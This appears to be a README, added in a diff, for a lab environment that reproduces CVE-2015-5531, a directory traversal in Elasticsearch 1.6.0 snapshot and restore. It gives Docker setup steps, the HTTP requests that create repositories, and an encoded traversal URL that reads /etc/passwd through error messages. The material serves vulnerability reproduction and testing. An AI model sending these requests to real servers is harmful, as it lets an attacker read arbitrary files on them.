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+# ElasticSearch Snapshot and Restore Directory Traversal (CVE-2015-5531)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ElasticSearch is a distributed, RESTful search and analytics engine.
+
+In the ElasticSearch versions before 1.6.1, a directory traversal vulnerability exists in ElasticSearch's snapshot and restore functionality, allowing attackers to read arbitrary files on the system.
+
+The conditions for exploiting this vulnerability vary depending on the specific version of the target: in ElasticSearch 1.5.1 and earlier versions, this vulnerability could be triggered without any configuration; in later versions, the `path.repo` configuration must be set in elasticsearch.yml. This configuration specifies a directory that must be writable and serves as the root location for backup repositories. Without this configuration, the snapshot and restore functionality is disabled by default.
+
+References:
+
+- <https://www.exploit-db.com/exploits/38383/>
+- <http://www.freebuf.com/vuls/99942.html>
+
+## Environment Setup
+
+Execute the following commands to build and start an ElasticSearch server 1.6.0:
+
+```
+docker compose build
+docker compose up -d
+```
+
+After the environment starts, you can access the ElasticSearch server at `http://your-ip:9200`.
+
+## Vulnerability Reproduction
+
+### 1. Create a Repository
+
+```
+PUT /_snapshot/test HTTP/1.1
+Host: your-ip:9200
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 108
+
+{
+    "type": "fs",
+    "settings": {
+        "location": "/usr/share/elasticsearch/repo/test" 
+    }
+}
+```
+
+![](1.png)
+
+### 2. Create a Snapshot
+
+```
+PUT /_snapshot/test2 HTTP/1.1
+Host: your-ip:9200
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 108
+
+{
+    "type": "fs",
+    "settings": {
+        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
+    }
+}
+```
+
+![](2.png)
+
+### 3. Exploit Directory Traversal to Read Files
+
+Send a request to read arbitrary files using directory traversal. For example, to read `/etc/passwd`:
+
+```
+http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
+```
+
+![](3.png)
+
+The file content will be included in the error message (encoded). After decoding, you can obtain the file content:
+
+![](4.png)